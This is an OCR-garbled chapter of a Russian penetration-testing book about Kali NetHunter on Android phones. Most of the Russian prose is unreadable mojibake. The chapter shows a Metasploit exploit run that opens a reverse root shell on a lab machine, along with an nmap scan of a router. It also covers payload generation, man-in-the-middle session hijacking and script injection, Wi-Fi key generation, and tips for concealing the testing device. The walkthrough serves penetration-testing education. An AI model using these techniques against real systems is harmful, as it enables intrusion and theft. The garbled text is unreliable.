BHUATYPA ¥ MBITITb, KOTOPBIE MOJKII0YAIOTC K XocTy uyepe3 USB.

Yro6b! BoinosinuTh HID-aTaky, 10CTaTOUHO Ha HECKOJIBKO CEKYH/| MOAKIIOYNTD
YCTPOMCTBO, UMUTHUPYIOTIEe YCTPONCTBO BBOA-BbIBO/IA, K USB-mopty 11esieBoro y3mia
(HoyTOyKa i Kommbtorepa). IIpaktudecku Jobast coBpemernHas OC moanepKuBa-
et pexkuM plug-and-play, aBroMaTHUeCKU paclo3HaeT MoAKI0YeHHOe K mopTy USB
YCTPOIMCTBO M yCTaHABIMBAET HEOOXOMMMBIIT [IJist eT0 paboTHI ApaiiBep, MOCIe 4ero
MPUHUMAET OT HEr0 KOMaHbl 6e3 MpoBepKu. Y cTpoiicTBo aBToMaTnuecku BhigaeT OC
KOMaH/Ibl, 3aCTaBJISIONINE 11eJIEBYIO CUCTEMY BBIIIOJTHATD UX WJIN 3arpysKaTh ClleHApUN
C 110JIe3HOM Harpy3Koil. Takyio aTaky oCTaHOBUTH rOPa3/io CIOXKHEe.

[To okoHUaHUM aTaKW, KOTOPAs IJIUTCS HECKOJIBKO CEKYH/I, yCTPONHCTBO U3BJICKACTCS
u3 USB-nopra.

YctaHoBka Kali NetHunter

O6mwii nporece ycranoskn NetHunter BkJifouaer mosrydeHre IpUBUIErHPOBAHHOTO
KOHTPOJIS B TIpefieiax Beex nogcucreM Android, c6poc HacTpoek /10 3aBOACKUX U yCTa-
Hosky Kali NetHunter. Best yeranoska Kali NetHunter Oyzer AmMThes 0K0JIO daca.

Hwuske npencraBieHbl HECKOJIBKO CCBIJIOK, U3 KOTOPBIX MOYKHO y3HATh, KaK ycTa-
Hosuth NetHunter na Mmo6usibHoe yeTpoiicTso, [lepes ycraHOBKOi ObLIO GbI TI0JIE3HO
03HAKOMWTBCS C HEKOTOPBIMHU PECYPCaMU, KOTOPBIE BaM MOHAZL0OSATCS [t IOy ICHUST
NPUBUJIETHPOBAHHOTO KOHTPOJISE HAJL yCTPOMCTBOM, pagMenieHust o6pasa BOCCTaHOBJIE-
HUS U, HAKOHET, ycTanoBKu obpasa NetHunter.

Q VYcranoska Ha6opa uncrpymento Android SDK B sokanbHol cucteme: https://
developer.android.com/studio/index.html.

O B mpouecce ycTraHOBKM BaM 110Hazo0uTces 00pas BoccTaHoBieHuss TW RP, koTopsrii
HaXOAUTCA 110 azpecy https://twrp.me.

Q Yrolsl OLYYNTh IPUBUIETHPOBAHHBIN JOCTYII K yeTpoiictBy 13 Windows, BaM 110-
TpebyroTcst KOHKpeTHbIe Habopbl HHCTpyMenToB Nexus. Habop uncrpymerros OnePlus
Bacon Root Toolkit Mmoxmno HaiiTi 110 agpecy http://www.wugfresh.com/brt/. Pykosoz-
ctBo 110 ycranoBke NetHunter ¢ moMotipio komibiotepa noj yrpassiennem Windows
JIOCTYITHO Ha caiiTe https://github.com/offensive-security/kali-nethunter/wiki/Windowsinstall.
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a I/1306pa>1<eH1/151 NetHunter moctymHsl 1o azpecy https://www.offensive-security.com/
kali-linux-nethunter-download/.

OGpatuTe BHUMAHNE, YTO HEOOXOANMO GHUMAENLHO U TULAMEILHO CLe008AMb UH-
cmpyxyusm. V1 He cniemnTs!

3Haukn NetHunter

[Tocste Toro kak NetHunter GyzieT ycTaHoBJIEH Ha BalieM YCTPOHCTBE, B MEHIO MTPUIIO-
JKEHUIT TTOSIBSITCS 1Ba 3HAuKa. [10CKOJIbKY BBI Oy/eTe TT0JIb30BATHCSI MU YaCTO, TIepe-
MECTUTE UX Ha 9KPaH BEPXHETO YPOBHS.

I[Tepssiii sHauok — Mento Kali NetHunter, koropoe BkJtouaer B cebst mapaMeTphbl
KOHMUTYPAIIUHT 1 MHCTPYMEHTBI 71T TECTUPOBAHNSI HAa TPOHNKHOBeHMe. CHavYasIa 1esik-
HuTe Ha 3HauKe NetHunter (puc. 12.1).

o

l Google -.

NetHunter NetHunter Ter..

Puc. 12.1. 3Havok NetHunter Ha akpaHe MO6MIbHOIO YCTpoCTBa

OTKpoeTcs TTaBHBIN dKPaH CO CIMIMCKOM MHCTPYMEHTOB, a TakyKe MEHIO HaCTPOeK
KOH(UTYparmi. EANHCTBEHHOE MEHIO, KOTOPOe HaM CJIe/IyeT ceffuac pacCMOTPeTh, — 3TO
merio cysx6 Kali. B HeM MOKHO 6e3 MCTOMb30BAHIS KOMAHIHON CTPOKH HACTPOUTH
passinaHbie caysKObI, octymHbie B NetHunter (puc. 12.2).

@D df[e

= Kali Services

Various Kali network services can be started and stopped via the buttons in this part of the
interface.

SSH
B Start at boot. .

SSH Service is DOWN

Puc. 12.2, MeHio HacTpoek pasnunyHbix cnyx6 NetHunter
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B aTOM MEHIO MOKHO HACTPOUTH 3aMyCK HYKHBIX CIYsK6 TIPU 3arpys3Ke WJIH, B 3a-
BUCUMOCTH OT KOHKPETHBIX TPeGOBAHWH, X BKJIIOYCHIE U BHIKTIOUECHHE. /[Be KOHKpET-
HBIE CITysKOBI, KOTOPBIE MBI PACCMOTPEJH paHee, — 310 BeO-cepBep Apache u cayxba
Metasploit. O6e MOKHO 3aIlyCTUTh U3 9TOro MeHio (puc. 12.3).

Apache
Start at boot. O

Apache Service is UP

Metasploit
[ start at boot. ®

Metasploit Service is DOWN

Puc. 12.3. HacTpolika 3anycka cnyx6 Apache u Metasploit npu ctapte

B nonosnenne k napamerpam MeHio B NetHunter ecTb 3HAa4OK /17151 1OCTyTIA K KO-

MaH/HOI cTpoke. YToObI IOJIyYUTh AOCTYII K TepMUHAIY, 1eJKHuTe Ha NetHunter Terminal
(puc. 12.4).

NetHunter NetHunter Ter..

Puc. 12.4. 3anyck TepMuHana

OTKkpoeTcs KOMaH/HAs CTPOKA, KOTOPas BBITJIAAUT KaK CTaHAAPTHBIN WHTepdeiic,
KOTOPBII BbI BCTPEYAIH B PeAbIAyInX riaBax (puc. 12.5).

Ecom miesikHeTe KHOMKOM MBIITU HA TPEX BEPTUKAJIBHBIX TOYKAX B TTPABOM BEPX-
HEM yTIJIy, TO TTOJIy4uTe AOCTYI K TTapamMeTpaM, KOTOPbIe MO3BOJIAT BaM MCII0Jb30BATh
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CIIeluaIbHbIe KJIABHIIH, TIOJTYYNUTH JOCTYI K MEHIO CIIPABKH M YCTAHOBUTH CBOU IIPE]I-
nourenust. Kpome Toro, Kali NetHunter riocraBisieTcst ¢ npeaBapuTeIbHO HACTPOEHHOI
KJIaBUATYpPOH xakepa. B MeHIo ruianiera nepeiijiute Ha crpanuity Apps (I1punoskenmst).
31ech BbI HalijieTe 3HAYOK JIJIsT 3aITyCKa KIABUATYPBI XaKepa. JTa KJIaBraTypa 4yTh ya00-
Hee JIUTST TI0JTb30BATEIIsI, YTO MOJIE3HO TPH PaboTe ¢ KOMaHIHON CTPOKOIL.

D& i [l o

1) root@kali: ~~ @ X

i Sun Jul 3 14:57:35 UTC 2016 on pts/2
Linux kali 3.4.0-Kali-gc6b158c-dirty #3 SMP PREEMPT Fri Dec 11 22:25:47 UTC 2015 armv7l

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
re ~# ]

Puc. 12.5. TepmuHan 3anyLieH

NHcTpymMeHTbl NetHunter

ITockonpky NetHunter ocaosan na OC Kali Linux, MHOT1Ee U3 UHCTPYMEHTOB, KOTOPBIE
MBI PACCMATPUBAJIN B TIPEIBIIYIINX [VIABAX, SBJILIOTCS YACTHIO €0 TIaT(OPMbL. 3HAYUT,
3TH K€ KOMaH/Ibl U METO/IbI MOSKHO MCIIOJIb30BATh BO BPeMd TeCTa Ha IIPOHUKHOBEHHE.
B aTom pasjiesie Mbl pacCMOTPUM [[BA MHCTPYMEHTA, KOTOPbIE Yallle BCETO UCIIOJIb3YIOTCS
[IPY TECTUPOBAHUY HA TPOHUKHOBEHHUE, & TAKIKE IOTOJHUTEIbHbIE THCTPYMEHTDI, KOTO-
pbie MOryT OBITh 4aCThIO OTAEAbHOI I1aTdopmMer NetHunter.

Nmap

OmauM u3 Haubojiee YacTO UCHOIb3YEMBIX
UHCTPYMEHTOB, KOTOPbIil MBI TOAPOOHO pac-
cMaTpuBan paHee, BiageTcd Nmap. Bor mMo- = Nmap Scan
JKeTe 3alyCTUTDh ero U3 KOMaH/IHOM CTPOKHU
NetHunter co Bcemu Temu ke QyHKITUAMHY,
gro u Kali Linux. Yro6st mo6patsest 10 NMAP,
IeJIKHUTe Ha 3Hauke NetHunter, a 3aTeM riepeii-
nurte kK Nmap. 371ech Bbl yBUAUTE UHTEPEITIC,
KOTOPBIN 1M03BoOJsAeT BBecTu oauH IP-ampec,
nuarna3zon wian Hotarmio CIDR. B mpumepe
MBI Gy/IEM UCIIOIB30BATH JIJIST MAPIIPY THU3ATO- Puc. 12.6. Beoaum IP-anpec uccneayemoro
pa oxun IP-agpec (puc. 12.6). obbekTa

D0 s

SCAN  192.168.0.1|

Advanced Options .
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Wurepdeiic NetHunter nossoJisger sagarh Tiil ckanuposaius NMAP, obHapyskeHue
OllepalIOHHOIT crcTeMbl, 0OHapysKeHue ciry:k0 1 nopuepxkky IPv6. Kpome toro, numeercst
BO3MOJKHOCTh YCTAaHOBUTH OIPE/I€JIEHHbIE TaPAMETPbl CKAHUPOBAHUS MOPTOB. M cITbI-
TaTeJIN Ha TPOHUKHOBEHE [[JIsT OTPAHNYEHNUST CKAHUPOBAHUST TIOPTOB MOTYT HACTPOUTD
CKaHUPOBAHME COTJIACHO CBOUM YCJOBUSIM WJIU BBIOPATH MapaMeTphl MPUIOKCHUS
NMAP (puc. 12.7).

Enable OS version detect, script scan, and traceroute
|:| Ping Scan

Service/Version Detection

D Enable OS detection

(] Enable IPve

Ports

Top 20 Ports
[] Fast mode (fewer ports)

|:| Don't randomize port scan

Puc. 12.7. HacTpoiika CkaHMpOBaHUsi

[MlenkHyB Ha myHKTe Select timing template (BeiGparh mabi0H CUHXPOHMU3AIINH ), BbI
cMozkeTe BbIOpaTh BpeMs ckanuposanus. Kak u B Bepcun komanHoil crpoku NMAP,
BpEMSsT CKAHUPOBAHUST MOKET OBITh aJlallTUPOBAHO K KOHKpPETHOU cutyaruu. Hakower,
BbI MOKeTe BbIOPATh TUII CKaHMPOoBaHU. [ 0ToOpaske s [TapaMeTPOB CKaHUPOBAHMSI
IIEJIKHUTE Ha TyHKTe Select scan techniques (BbiOpaTh METO/IbI CKAHUPOBaHMS ). 371€Ch BB
cMoskete orpeziesinTh HacTpoiiku SYN- uinu TCP-ckanuposanus (puc. 12.8).

[Tocne Toro Kak Bce mapaMeTpbl CKAHUPO-

BaHUs OyIyT BBIOPAHbI, HAKMUTE KHOIKY SCAN Select scan technique
(Cxanuposanue). B NetHunter otkpoercs 0kHO ggsni‘;ﬁ)
KOMaHJIHOI CTPOKH U 3aMyCTUTCST CKAHUPOBAHME ACK
(puc. 12.9). Windows
I'pacdpuuecknit marepdeiic NetHunter ot- Maimon
JIMYHO MOAXOANT IS BHITIOJHEHHS [TPOCTOTO IFNPN“"
ckanupoBanus. J[yist Gosiee TIaTebHOTO CKaHU- XMAS
POBaHUs UM UCIIOJB30BAHUS CIIEHAPUEB BaM
[PUETCSI IEPEITH K BEPCUU KOMAHHON CTPOKH Puc. 12.8. Bbi6op napaMeTpos

NMAP. CKaHWPOBaHWs
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B E [l &b

2) No title

:/# nmap -sT --top-ports 20 -sV 192.168.0.1 -A

Starting Nmap 7.01 ( https://nmap.org ) at 2016-07-01 03:14 UTC
Nmap scan report for 192.163.0.1

Host is up (0.016s latency).

PORT STATE SERVICE VERSION

21/tcp  closed ftp

22/tcp  open  ssh Dropbear sshd 0.46 (protocol 2.0)
| ssh-hostkey:

1040 cc:a7:d4:94:;3a:3b:52:f2:ab:13:cd:e5:6a:fc:0a:9a (RSA)
open telnet Actiontec Q1000 DSL router telnetd
closed smtp
open  upnp Belkin/Linksys wireless router UPnP (UPnP 1.0; BRCM400 1.0)
open  http micro_httpd
closed pop3
closed rpcbind
closed msrpc
closed netbios-ssn
closed imap
open ssl/http micro_httpd

|_http-title: CenturyLink Modem Configuration

ryName=UA
| Not valid before: 2006-08-07T23:31:21
|_Not valid after: 2006-09-06T23:31:21
closed microsoft-ds
closed imaps
closed pop3s
closed pptp
closed mysql
closed ms-wbt-server
closed vnc
closed http-proxy
MAC Address; 10:5F:06:9C:89;50 (Actiontec Electronics)
Device type: general purpose
Running: Linux 2.6.X
0S CPE: cpe:/o:linux:linux_kernel:2.6
0S details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
Service Info: 05s: Linux, Linux 2.4; Devices: broadband router, router; CPE: cpe:/o:linux:linux_ker
el, cpe:/h:actiontec:ql000, cpe:/o:linux:linux_kernel:2.4

ADDRESS
15.77 ms 192.168.0.1

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 74.76 seconds
- |

Puc. 12.9. CkaHnpoBaHue 3anyLieHo

Metasploit

O[[I/IH 13 MOIIHBIX UHCTPYMEHTOB TECTUPOBAHUA Ha MIPOHUKHOBEHUE, O KOTOPOM MbI
FOBOPWJIN B TIpeJbIAyIIuX riiaBax, — Metasploit. ILtardopma Metasploit BkitoueHa
B NetHunter u ¢byHKIIMOHUPYET TOUHO Tak ke, Kak u B Kali Linux. Haripumep, moribi-
TaeMCs UCTIOJIb30BaTh GAKIOP B 1EJIE€BO cucTeMe 1o yrpasieHneM Metasploitable
¢ momotnbio NetHunter.
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Cuauasa 3amyctute tepmunan NetHunter, a 3aTem BBeuTe CI1e1yI0NTY10 KOMaH/LY:
# msfconsole
Ml CO6I/IpaeMC5{ HCII0JIb30BATh YA3BUMOCTD B BU/JIe 63K1[0pa nemona IRC B Meta-

sploitable. Jly1g aTOTO BOCIO/Ib3yeMcd 9KCILIONTOM unreal_ircd_3281_backdoor. BBeaure
B KOMaH/HYIO CTPOKY CJICIYIONIYIO KOMaH/Y:

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

3areM ycTaHOBUM y/aJieHHbII XocT Ha Haty mMamuny Metasploitable:

msf >exploit(unreal_ircd_3281 backdoor) >set RHOST 192.168.0.182

Haxowuer, 3anmyckaem axcrioiT. Ha puc. 12.10 nmokasan BbIBOJL IIPEABYIIIUX KOMAH/I.

:~# msfconsole

# cowsay++

Save 45% of your time on large engagements with Metasploit Pro
Learn more on http://rapid?.com/metasploit

metasploit v4.11.5-2016010401

1517 exploits - 875 auxiliary - 257 post

437 payloads - 37 encoders - 8 nops

Free Metasploit Pro trial: http://r-7.coftrymsp

1
|
|
1

> use exploit/unix/irc/unreal_ircd_3281_backdoor

msf exploit( ) » set RHOST 192.168.0.134
ST => 192.168.0.134
exploit( ) > exploit

Started reverse TCP double handler on 192.168.0.182:4444
| Connected to 192.168.0.134:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
Sending backdoor command. ..
| Accepted the first client connection
Accepted the second client connection...
| Command: echo HbdykjeNEkVqVQlr;
| Writing to socket A
Writing to socket B
Reading from sockets...
[*] Reading from socket B
] B: "HbdykjeNEkVgVQJririn"
Matching...
] A is input...
[*] Command shell session 1 opened (192.168.0.182:4444 -> 192.168.0.134:51140) at 2016-07-04 16:26:
9 +0000

whoami
root

Puc. 12.10. BoiBoa npeablayLimx KomaHa

[Tocsie 3amycka 9KCILIONTAa MBI MOJKEM 3aIyCTUTh KOMAHIy whoami u onpeneniutnb
OJIHOUMEHHBII HHCTPYMEHT Kak KOPHEBYIO KOMaHAHYI0 0600uky. Kak Buano us
storo npumepa, NetHunter umeer Ty xe pyHKimonamapaocts, uto u OC Kali Linux.
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ITO T03BOJISIET TeCTepy Ha IPOHUKHOBEHUE NCII0Ib30BaTh mratdopmy NetHunter s
MPOBENIEHN aTaK Ha MOPTATUBHON 11aTdopme. OITH U3 HEZOCTATKOB UCIIOIb30BAHUS
dpeitmBopka Metasploit coctouT B TOM, 4TO He OYeHb yI0OHO BBOAUTH KOMAH/IBI Ha
TTaHIIIeTe UIN TesedoHe.

Kaxk u B Kali Linux, B NetHunter umeercst coznaTesib mojie3Hoil Harpysku Msfvenom
st Metasploit. 9tor rpaduyeckuii uHTEpdEiic MOKHO MCII0JIb30BaTh JJISI CO31aHUS
0JIb30BATEIbCKIX II0JIE3HBIX HATPY30K J1st paboThl ¢ miatdopmoii Metasploit. UtoOsl
MOJIYYUTD JIOCTYI K 3TOMY WHCTPYMEHTY, IEJTKHUTE Ha 3Hauke NetHunter u mepeiinre
K IIyHKTY Metasploit Payload Generator (Iereparop noJie3noii Harpysku Metasploit). Bor ro-
najietTe B cienyioiee mento (puc. 12.11).

Metasploit Payload Generator

Msfvenom Payload Creator (MPC) is a wrapper written by gOtmilk to generate multiple
types of payloads, based on users choice. The idea is to be as simple as possible (only
requiring one input) to produce their payload.
Type:
ASP

Port:

443

IP Address:

192.168.0.19
Payload Options:
MSF

Reverse
Staged

TCP

GENERATE TO SDCARD

GENERATE TO HTTP

Puc. 12.11. [eHepaTop nonesHol Harpysku Metasploit

B sTOM MEHI0 HaXOASTCS Te Ke IapaMeTpsbl, uTo Mbl Buaesu B Bepcun Kali Linux
Msfvenom. Kpome Toro, unrepdeiic mo3BoJisieT co3aBarhb onpeeeHHble HArPY3KN
1 coxXpaHATbh X Ha SD-kapre /14 JasbHeiero ucIoab30BaHus.



NHcTpymeHTbl NetHunter 391

JIpyrum nHcTpymentom NetHunter, koTopbiit MOXKHO TpuMeHsTh BMecTe ¢ Meta-
sploit, siBastercst Searchsploit. OH 3anpamnBaer 6a3y JaHHBIX 9KCIIOWTOB, PACIIOJIO-
JKEHHYIO 110 azapecy https://www.exploit-db.com/, 1 1mo3BoOJIAET NCKATDH TOTOJTHATEIbHDIE
DKCILIOITHI, KOTOPBIE MOKHO 3a/1efiCTBOBATh BMECTE C TEMHU, 4TO ecTh B Metasploit.

MNpeobpazoBaTtens MAC

Nsmenenue MAC-azapeca mardopmbl NetHunter MoskeT ioTpe60BaThest U BBIOJIHE-
HUW aTaK Ha 11eJIEBYI0 GECITPOBOIHYIO CETh UJIH TIPH TTOKIIOYEHIN K (DU3UIECKON CETH.
s Beimonnenus atoi sagaun B NetHunter yeranosnen MAC Changer. Yto6e! moay-
YUTDb K HEMY JIOCTYII, II[eJIKHUTe Ha 3HauKe NetHunter, a 3aTem Ha MAC Changer. Bol yBuuTe

caenytontuii axpan (puc. 12.12).
= S
= MAC Changer
Change the MAC of any network interface.
It can be randomly generated or manually typed.

The MAC must contain 6 pair of combinations using the charset: [0-9|a-f] something like:

00:11:22:ab:cd:ef

Set Hostname

android-a532468baa747{34 SET HOSTNAME

Pick an interface:

wian0 (Internal wireless card)

Current MAC: 2:00:66:58:96

Select macchanger mode:
Random MAC

SET RANDOM MAC ON WLANO

Puc. 12.12. 3kpaH MAC Changer

MAC Changer 1103B0JIsSIeT YyCTAaHOBHUTD MMsI XOCTa 110 BalieMy BBIOOPY. Y cTaHOBKa
UMEHU XOCTa JIJIST IMUTATINN COTTATITEH ST 00 MMEHaX TeT€BOM OPraHu3aIiHy TTO3BOJISIET
MAaCKHPOBATD EUCTBUS MIPU HATUYUU CUCTEM, PETUCTPUPYIONIUX ICHCTBUSA B CETH.
Kpome Toro, MAC Changer nossossier ycranosutb MAC-azpec uin paspeniuTh UH-
CTPYMEHTY cilydailHbiM 06pazoM HazHayaTh MAC-ajapec [uist Kask0ro nHrepdeiica.
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CtopoHHue npunoxeHnsa Android

[TpocmatpuBas riaBHOe MeHIO, Hapsiy ¢ Net Hunter BbI I0J5KHBI 3aMETUTD IIECTD JIPY-
IUX YCTAaHOBJIEHHBIX putoskeHnit st Android. 9o takue npuoskennst, kak NetHunter
Terminal Application, DriveDroid, USB Keyboard, Shodan, Router Keygen u ¢Sploit.
XOTs 9TH CTOPOHHME MTPUJIOKEHMS B lokyMeHTauu Net Hunter nepeumnciieHbl Kak Hesa-
BEPIIEHHbBIE, OKA3aJI0Ch, YTO OHU Bee paboTaior. Ho, B 3aBUCKMMOCTH OT Baliero MoOuJIb-
HOTO YCTPOICTBA U €r0 allapaTHBIX CPE/ICTB, HEKOTOPbIE MPUJIOKEHUS UIN (PYHKITUN
MPUJIOKEHHI BCe-TaKH MOTYT He paboTaTh.

MpunoxeHne NetHunter Terminal

Tomo6uo Tepmunaiy B Kali u NetHunter, npuioxenne NetHunter Terminal mosgosisi-
€T M0JIb30BATEN0 BRIOUPATh MEKY pasimaHbiMu Tutiamu TepmuHanos: Kali, Android

u Android SU (puc. 12.13).

Select shell:

KALI ANDROID ANDROIDSU

Puc. 12.13. Bbibop TepmuHana
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DriveDroid

DriveDroid nossosster Baemy Android-ycTpoiicTBy aMyIMpOBaTh 3arpy304Hblii (hJrer-
nakormtesib uii DVD. Camo ycerpoiictBo nipu 3arpyske ¢ [IK MoxxeT ucrosb3oBarbest
B KaueCTBe 3arPy309HOTO HOCHUTEIST (HAPUMED, 3aTPy309HOTO (hJIETI-HAKOTUTEIS ).

[Tpunoskenne DriveDroid npu cosganuu 3arpysodtoro aucka Android mossossier
M0JIb30BATEI0 BBIOMPATDH U3 JIOKATBHO COXPAHEHHBIX WK 3arpyskeHHbIX 00pa3zoB OC
(.is0). DriveDroid rakse MOKHO 3arpy3uTh HellocpeicTBeHHO 13 MarasuHa Google Play
1o azpecy https://play.google.com/store/apps/details?id=com.softwarebakery.drivedroid&hl=en
(puc. 12.14).

4 W 15:27

¢ DriveDroid 0.9.29

Acquiring root...

D Create blank image...

¥ Download image...

@ Addimage from file...
& B = ?

Puc. 12.14. 3arpy3ka DriveDroid

USB-knaeunaTtypa

Irta HyHKIM, KaK cJelyeT U3 Ha3BaHus, TT03BOJIAeT UCcoab30BaTh USB-KknaBuaTypy.
BoamoxkHOCTb TpUMeHeHus 9TON (DYHKIUK TaKKe 3aBUCUT OT MOJIEJIU YCTPOICTBA

Android.



394 naea 12 e MobunbHoe TecTMpoBaHWe Ha NpoHuKHoBeHWe ¢ Kali NetHunter

Shodan

B mMo6wmibHOI Bepeu jiuist osib3oBaresieit NetHunter Bbl Takyke Halilere WHCTPYMEHT
Shodan, mMpoko M3BeCTHBIN B KauecTBe XaKePCKON MOUCKOBOW cUCTeMBbL. VICIomb30-
BaHue npuioskerns: Shodan toske TpeGyer kitoua APL. Eciii BbI, unTast riaBy 4, co3panu
CBOIO YUETHYIO 3a1nch, aToT kimod API y Bac yske ects. [Tocetnre caiiT http://www.shodan.io
u Boiaure B cucteMy (uin 3apeructpupyiitecs). Kiou API Gyzer B mpaBoM BepxHeM
yray 6payaepa. [pu mosiBiieHum 3arpoca BBeiuTe ero B npuioxenne Shodan.

TTocste TOTO KaK BbI IPUOOPEN U BBEJIU CBOU KOJI, MOXKETE MCIOTIb30BATD TPUJIOKE-
nue Shodan rak e, kak u B 6paysepe (puc. 12.15).

~ & 6o
Shodan.io

Top 5 Shodan Searches

Server: SQ-WEBCAM

best ip cam search | have found yet

linux upnp avtech

admin admin

netcam

Netcam

"default password"

Finds results with "default password” in the banner; th...

dreambox country:ES

Puc. 12.15. MNpunoxeHne Shodan

Router Keygen

Router Keygen — renepaTop Kifoueii /151 MapIIpyTU3aTOPOB, KOTOPbIE TMOIEPKUBAIOT
mudposarare WEP n WPA. IIsrtasich ompenesnTs, TOAIEP;KUBAETCS JTH aTaka, MpH-
JoskeHne cHavasa ckaaupyet Wi-Fi-cetu (puc. 12.16).
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YTo6BI CO3ATH KIOUH, KOTOPBIE MOTYT HCTIOJIb30BATHCSI 15T OIKITIOUECHIIST K MapIi-
pyTH3aTOPaM U CeTsIM, IeJIKHUTE Ha Ha3BaHWU Mo iep:kuBaeMoit cetu (puc. 12.17).

@edo i : v
% Router Keygen : (@ Tech.services2 < B 7

Click on one of the keys to copy it.
Then the Wifi Settings will open where you can
testit.

Tech_Services?2
PO.M2-OF 3965623463

Unsupported

Tech_Services

Boardroom

DIRECT-64-HP M477 LaserJe

Network discovery started. Test key(s)

Puc. 12.16. CkaHupoBaHue Wi-Fi-ceTeii Puc. 12.17. Co3gaHue Kouein
npunoxxeHnem Router Keygen

o) Router Keygen Takoke MOXHO HanpsiMyto 3arpy3unTb n3 Google Play no agpecy
I:I https://play.google.com/store/apps/details?id=io.github.routerkeygen&hl=
en_US.

cSploit

Wcnonb3ys ataky tuia Man-in-the-Middle (MitM) («aenoBek nocepenunes) u Denial-
of-Service (DoS) («oTKa3 B 06CIyKUBaHUI» ), IPUIoKeHKe cSploit MoxkeT jerko cobu-
patb Hy:kHyI0 ntdopmaiio. [Tpu 3amycke cSploit cHauasa npejiaraer moJxb30BaTeNI0
BBIOpATB LEJIEBYIO CeTh. 3aTeM, KaK II0KasaHo Ha puc. 12.18, mojb3oBaTesiio mpegocTas-
JISIETCST HECKOJIBKO MOJIYJIEN.
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0w & m 19:51

< 192.168.1.106 > MITM

Session hijacker
a Listen for cookies on the network and hijack
sessions.

Kill connections

X Kill connections preventing the target to
reach any website or server.

Redirect

4 Redirect all the http traffic to another
address.

Replace images

l;' Replace all images on webpages with the
specified one.

Replace videos

® Replace all youtube videos on webpages
with the specified one.

o Script injection
7 Inject a Javascript in every visited web page.

Puc. 12.18. Moaynu Ha Bblbop

ITOT MHCTPYMEHT BIIeYaTJIsieT CBOUMU BO3MOXKHOCTAMU. 3/1€Ch BCE MOJIYJIN 3ally-
CKAIOTCsT ¢ MOOUJIIBHOTO YCTPOUCTBA, & UCTIBITATEN b HA TPOHUKHOBEHUE MOJKET CIIPSITATD
UX BO BpeMs aTaKMU.

becnpoBogHble aTaku

OnIHUM U3 SBHBIX MMPEUMYIIECTB UCTTOTh30BaHMs TmaTdhopmbl NetHunter siBisietcst
ee pasmep. Kpome Toro, ee oueHb JIETKO C/I€JIATh MAJI0O3aMETHON. DTO CEPhE3HOE JI0-
crouncTBo NetHunter, oco6eHHO ecjii BaM IOPYyYEHO He3aMeTHO IIPOTECTUPOBATh Hec-
IIPOBOJHYIO CeTh caiiTa Ha 6e30IacHOCTh. EC/IM BbI, BBIIOJIHSIA IIPOBEPKY OE30IIaCHOCTH,
Oyzere CHIETh HENOJaleKy ¢ OTKPBITHIM HOYyTOYKOM U BHELIHEH aHTeHHOM, TO MOKeTe
npuBJiedb K cebe BHUMAHUE, YTO COBEPIIEHHO HeKemaTebHo. HaM Kakercst, 4To uc-
mosib3oBanue Teedona Nexus 5, Ha kKotopoMm pasBepuyT NetHunter u moakmodena
JIMCKPETHAsT BHENTHSISI aHTEHHA, CIIPSITAHHASI 32 TA3€TON MU €KeTHEBHIUKOM, — JIYUIIINIA
€110¢00 COXPaHUTh CKPBITHOCTD. Ellle 0HUM KJII0YeBbIM IIPEUMYIIECTBOM MIaT(hOPMbI
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NetHunter npu mpoBeIeHUH TECTUPOBAHISI OECITPOBOIHOI CETU SIBJISIETCS BOBMOYKHOCTh
OXBATUTD MIUPOKYIO 00IACTH, HATIPUMEP CTYAECHYECCKUN TOpoIoK. [Ipr aToM Bam He mpu-
JIETCST HOCUTD ¢ c000it GOJIBIIOI HOYTOYK.

becnpoBoaHoOe ckaHMpoOBaHWe

Kak o6cysxaamoch B IpebIAyIeil TiaBe, onpeeseHne 6eCIpOBOIHbBIX [IETEBbIX ceTel
SIBJISIETCST BAKHBIM IIaroM B MTeHTecTupoBanmu. [Imatdopma NetHunter comep:kut psia
HMHCTPYMEHTOB, KOTOPBIE TI03BOJISIOT BBIOJHATH OECIPOBOAHOE CKAHUPOBAHKE U UIECH-
tudukanuio meau. CymecTByIOT TaKKe CTOPOHHUE ITPUJIOKEHUSI, Y KOTOPBIX €CTh J10-
IOJIHUATE/IbHOE IPEUMYIIECTBO B BUle yA0OHOro nuTepdeiica. ITU MPUI0KEHMI MOTYT
cobupaTh oAPOOHYI0 MHGOPMALIMIO O BO3MOKHOI 1[EJIEBOI CETH.

NetHunter Britouaer B cebst HabGop mHCTpyMeHTOB Aircrack-ng, kotopsrii MbI 06-
cyxmamn B Tiiase 11. On Takke paboTaeT 13 KOMaHIHOU CTPOKHU. 3aIyCTUM KOMaHIHYO
000JI0YKY U JIJIT MAEHTU(DUKAIIUN TOTEeHIINAIbHbBIX IeJIEBBIX CeTell BBeIeM KOMaHLy
airodump-ng (puc. 12.19).

1) root@kali: ~~ @ X

][ Elapsed: 6 s ][ 2016-07-04 19:58

Beacons #Data, #/s CIPHER AUTH ESSID

NETGE

Centu
SECAL
Harle
xfini

10 00O

w

2
2
3
1

w
" cosCcoCcOoOO0OOCO0O0OCO

McKin

HR-HO

xfini

xfini

2 MP SK Marci
CCupP

2 CCMP

WA R W
]
B OO

" coooc oo

S acaalauoawlowoooSoooo

CCMP

. WPAZ CCMP

- WPAZ MP
0PN

. WPAZ CCMP

ORI U R BN R A
ooco

Puc. 12.19. VigeHTndukaums noTeHUManbHbIX LENeBbIX ceTei
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Kak u B OC Kali Linux, Mbl MokeM onpeeauTh Tpancaupyembiii BSSID, kanai
u SSID.

WPA/WPA2-B3110M

Kax mbt yoke obeyskaanu panee, Aircrack-ng B NetHunter mossoJisier BBITIONHATD Te 5Ke
araku 6e3 Kakux-a160 U3MeHeHU T KOMaHI Wiin TeXHUKU. KpoMe Toro, Mbl MOJKEM HC-
[10JIb30BATD TY K€ aHTEHHY BMECTe C BHEIIHUM a/IallTePOM, YTO U B CJIyyae IIPOBOHON
cetu (cMm. rmaBy 11). Crenyromnnii B3JIOM HarpasJieH MTPOTUB TOH e TOUYKU JIOCTyTa
¢ Tem ke BSSID, uro mbr o6cyskaanu B riase 11. Bee 910 6B1I0 BBINOJIHEHO U3 KOMaH/I-
Hoii ctpoku NetHunter.

